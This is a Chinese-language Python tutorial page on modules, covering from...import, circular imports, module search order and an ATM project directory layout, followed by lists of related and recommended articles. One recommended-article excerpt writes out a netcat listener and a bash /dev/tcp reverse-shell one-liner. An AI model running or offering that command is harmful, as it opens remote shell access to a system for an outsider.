1 from...import

1.1 概念

1.1.1 首次导入模块会发生的事

  • 会触发模块的运行,产生一个模块的名称空间
  • 将运行模块文件过程中产生的名字丢到模块额名称空间
  • 在当前名称空间产生一个名字money,该名字指向名称空间中那个money

1.2 应用

1.2.1 模块spam

# spam.py
print("from the spam.py") money = 1000 def change():
global money
money = 0
print(money) def func1():
print("----->%s" % money) def func2():
print('=====>')
func1()

1.2.2 导入模块

from spam import money
print(money) # 1000
money = 20000
print(money) # 20000 from spam import money as m
print(m) # 1000 from spam import money,func1,change
print(money) # 1000
func1() # ----->1000
change() # 0 from spam import money,func1,change
money = 200000
def func1():
print(money)
func1() # 200000

1.3 优缺点

1.3.1 优点

  • 无需加前缀,代码更为简洁

1.3.2 缺点

  • 容易与当前名称空间中的名字冲突

1.4 *

from spam import *
print(money)
print(func1)
print(func2)
print(change)

2 循环导入问题

2.1 情景一

2.1.1 m1

print('running m1')

from m2 import y

x = 'm1'

2.1.2 m2

print('running m2')

from m1 import x

y = 'm2'

2.1.3 run

import m1

m1()

会报错,因为循环导入时没有取到值

2.2 补救措施1

2.2.1 m1

print('running m1')
def f1():
from m2 import y
print(y)
x = 'm1'

2.2.2 m2

print('running m2')
def f2():
from m1 import x
print(x)
y = 'm2'

2.2.3 run

import m1
m1.f1()

2.3 补救措施2

2.3.1 m1

print('running m1')
x = 'm1'
from m2 import y

2.3.2 m2

print('running m2')
y = 'm2'
from m1 import x

2.3.3 run

import m1
m1()

3 区分文件与模块的方式

def f1():
print('from f1') def f2():
print('from f2') if __name__ == '__main__':
f1()
f2()
import m1

4 模块搜索优先级

查找位置优先级
1、内存
2、内置模块
3、sys.path
import sys
print(sys.path) import time
import m1 time.sleep(10)
import m1
# 然后迅速将m1文件删除
m1.f1() # 本次m1会执行,因为内存中有缓存。下一次就会报错 import sys
sys.path.append(r'H:\PycharmProjects\python_new\day013\代码\01from import')
import spam
spam.func1()

5 ATM

5.1 目录

api-->存放接口文件,接口用于为主要业务逻辑提供数据操作

​ api.py-->应用程序编程接口

bin-->整个项目的启动文件放置在这个文件夹中

​ start.py-->启动软件入口

conf-->整个项目的配置文件放置在这个文件夹

​ settings.py-->配置文件,如存放一些固定的路径

core-->整个项目的核心文件

​ src.py-->核心业务逻辑代码(第一层:用户视图层:核心业务逻辑代码)

db-->用于存放数据文件与操作数据的代码文件

​ db_file-->db.txt ...

​ db_handler.py-->操作数据的代码(第三层:数据处理层)

interface-->用于存放用户接口

​ user_interface.py-->第二层(用户接口)

lib-->项目的第三方包,共享的一些库

​ common-->存放公共的功能,如存放装饰器

log-->用于存放项目的日志文件

​ log.txt-->存放日志的文件

README.txt-->整个项目的说明文件,项目需求和大致流程,相当于产品说明书

5.2 README.txt内容

软件定位|软件的基本功能

  • 运行代码的方法:安装环境、启动命令等...
  • 简要的使用说明
  • 代码目录结构说明,更详细点的说明软件的基本原理
  • 常见问题说明

day013|python之模块02&目录01的更多相关文章

  1. Python shutil模块(目录和文件操作)

    import shutil #导入shutil模块 copyfileobj方法 将类文件对象fsrc的内容复制到类文件对象fdst shutil.copyfileobj(fsrc, fdst[, le ...

  2. python os模块 遍历目录

    #os #os ->tree命令 import os #递归 #目录 ->文件,文件夹 -> 文件文件夹 dirpath = input('请输入你要遍历的目录\n') def ge ...

  3. Python之模块IO

    目录 Python之模块IO io概叙 io类层次结构 io模块的类图 io模块的3种I/O 原始I/O,即RawIOBase及其子类 文本I/O,即TextIOBase及其子类 字节I/O(缓存I/ ...

  4. Python模块02/序列化/os模块/sys模块/haslib加密/collections

    Python模块02/序列化/os模块/sys模块/haslib加密/collections 内容大纲 1.序列化 2.os模块 3.sys模块 4.haslib加密 5.collections 1. ...

  5. Python之文件与目录操作及压缩模块(os、shutil、zipfile、tarfile)

    Python中可以用于对文件和目录进行操作的内置模块包括: 模块/函数名称 功能描述 open()函数 文件读取或写入 os.path模块 文件路径操作 os模块 文件和目录简单操作 zipfile模 ...

  6. Python::OS 模块 -- 文件和目录操作

    os模块的简介参看 Python::OS 模块 -- 简介 os模块的进程管理 Python::OS 模块 -- 进程管理 os模块的进程参数 Python::OS 模块 -- 进程参数 os模块中包 ...

  7. python 在不同层级目录import 模块的方法

    有一个文件夹/home/a,  里面有个模块叫b.py,  我怎么把他import到程序里? 1). import sys; sys.path.append("/home/a/") ...

  8. python一些模块的exe安装包在windows的64位系统里识别不到已安装Python目录的解决方法

    在windows里安装python一些模块时候,有时候源码安装比较困难,pip install也各种报错,这时候最喜欢用别人编译好的exe或者whl文件来安装,但是在windows的64位系统里,如果 ...

  9. python之模块filecmp(文件/目录比较)

    # -*- coding: utf-8 -*- #python 27 #xiaodeng #python之模块filecmp(文件/目录比较) #用于比较文件及文件夹的内容.他是轻量级的工具.可以做一 ...

随机推荐

  1. SQL 查找"存在",别再用 count 了,很耗费时间的!

    根据某一条件从数据库表中查询 『有』与『没有』,只有两种状态,那为什么在写SQL的时候,还要SELECT count(*) 呢? 无论是刚入道的程序员新星,还是精湛沙场多年的程序员老白,都是一如既往的 ...

  2. 玩转 Comparator 和 Comparable 两接口

    最近项目中有排序的需求,就查看了一下Java文档,发现有两个接口都可以进行排序,Comparable 和 Comparator 两接口到底有啥区别?何时用?怎么用?使用场景我都在底下一一研究分享出来: ...

  3. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  4. 使用大乌龟git和码云搭建版本库

    刚刚过完清明,上班的第一天,大佬跟我说,要用码云和git搭建一个版本库,菜鸡的博主楞了半天,然后赶紧上网找资料,此时,一旁的大佬已经看不下去了,终于,出手了....... 1. 首先,先把大乌龟git ...

  5. Word 2013中如何直接调用MathType

    相信有很多用户已经发现在使用Word 2013编辑文档时MathType无法直接调用,但是点击文档中的公式时能够跳出MathType公式编辑窗口,那么这是怎么回事呢?其实,这一问题也不是没有办法解决的 ...

  6. Camtasia制作视频分割与视频拼接

    视频的分割与拼接是在制作和编辑视频中经常用到的方法,运用Camtasia视频编辑器能够让视频制作更加的简单和便捷.Camtasia是一款录频软件和视频编辑器,可以进行屏幕录制.拖放视频等操作.小编采用 ...

  7. 精尽MyBatis源码分析 - SQL执行过程(四)之延迟加载

    该系列文档是本人在学习 Mybatis 的源码过程中总结下来的,可能对读者不太友好,请结合我的源码注释(Mybatis源码分析 GitHub 地址.Mybatis-Spring 源码分析 GitHub ...

  8. 解决Maven项目中pom.xml文件报错(Failure to transfer....)的问题

    打开pom.xml文件,查看错误,如果错误类型为:Failure to transfer.........之类的,则表明你的pom中依赖的jar包没有完全下载. 解决方法:找到你本地的maven仓库, ...

  9. linux配置tomcat项目包

    安装配置tomcat 操作系统:  centos 7.1 使用模式:命令模式 使用工具:xshell5 .xftp5 注意之前有配置过tomcat需要进行以下4个步骤 1.关闭网管服务 输入命令: 进 ...

  10. Java基础教程——缓冲流

    缓冲流 "缓冲流"也叫"包装流",是对基本输入输出流的增强: 字节缓冲流: BufferedInputStream , BufferedOutputStream ...